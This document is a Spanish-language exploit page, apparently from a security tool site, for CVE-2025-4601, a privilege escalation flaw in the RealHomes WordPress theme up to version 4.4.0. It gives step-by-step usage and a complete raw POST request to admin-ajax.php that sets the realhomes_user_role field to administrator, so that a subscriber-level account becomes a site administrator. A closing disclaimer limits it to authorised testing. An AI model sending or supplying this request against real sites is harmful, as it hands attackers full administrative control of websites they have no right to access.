CVE-2025-4601 - Tema RealHomes de WordPress <= 4.4.0 - Escalada de Privilegios

🔥 Resumen de la vulnerabilidad El tema de WordPress RealHomes en versiones <= 4.4.0 es vulnerable a una vulnerabilidad de escalada de privilegios. Esto permite a usuarios autenticados con privilegios bajos (como suscriptores) escalar sus roles a administradores. Esta vulnerabilidad ocurre a través de la función inspiry_update_profile, que permite incorrectamente a los usuarios cambiar su rol si la opción ere_allow_users_change_role está habilitada.

Este problema puede explotarse enviando una solicitud POST especialmente manipulada al endpoint admin-ajax.php, proporcionando el parámetro realhomes_user_role establecido en administrator.

🔍 Tema afectado

• Nombre del tema: RealHomes
• Versión afectada: <= 4.4.0
• Tipo de vulnerabilidad: Escalada de privilegios
• ID de CVE: CVE-2025-4601
• Puntuación CVSS: 8.8 (Crítica)
• Impacto: Acceso administrativo completo → Posible compromiso del sitio

🧪 Características del exploit

• 📥 Obtiene el nonce automáticamente de la página objetivo.
• 🔐 Escala el rol del usuario a administrator mediante el parámetro realhomes_user_role.
• 🌐 No se requiere autenticación más allá de haber iniciado sesión como un usuario con privilegios bajos (por ejemplo, suscriptor).
• 💾 Actualiza el perfil del usuario, otorgando acceso administrativo al atacante.

🧠 Investigador

• Crédito: Thai An

🚀 Uso

1. Inicia sesión en el sitio web objetivo como un usuario con privilegios bajos (por ejemplo, suscriptor).

2. Accede al endpoint /wp-admin/admin-ajax.php con los siguientes datos POST, que incluyen el parámetro realhomes_user_role establecido en administrator:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
   
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   

3. Comprueba la respuesta: Si la solicitud tiene éxito, el atacante obtendrá acceso administrativo.

4. Verifica accediendo a la página /wp-admin/ para confirmar si al atacante se le han otorgado privilegios de administrador.

🔒 Descargo de responsabilidad: Esto está destinado únicamente a fines educativos y solo debe utilizarse en sistemas que poseas o para los que tengas autorización explícita para realizar pruebas. El mal uso de este código puede acarrear consecuencias legales.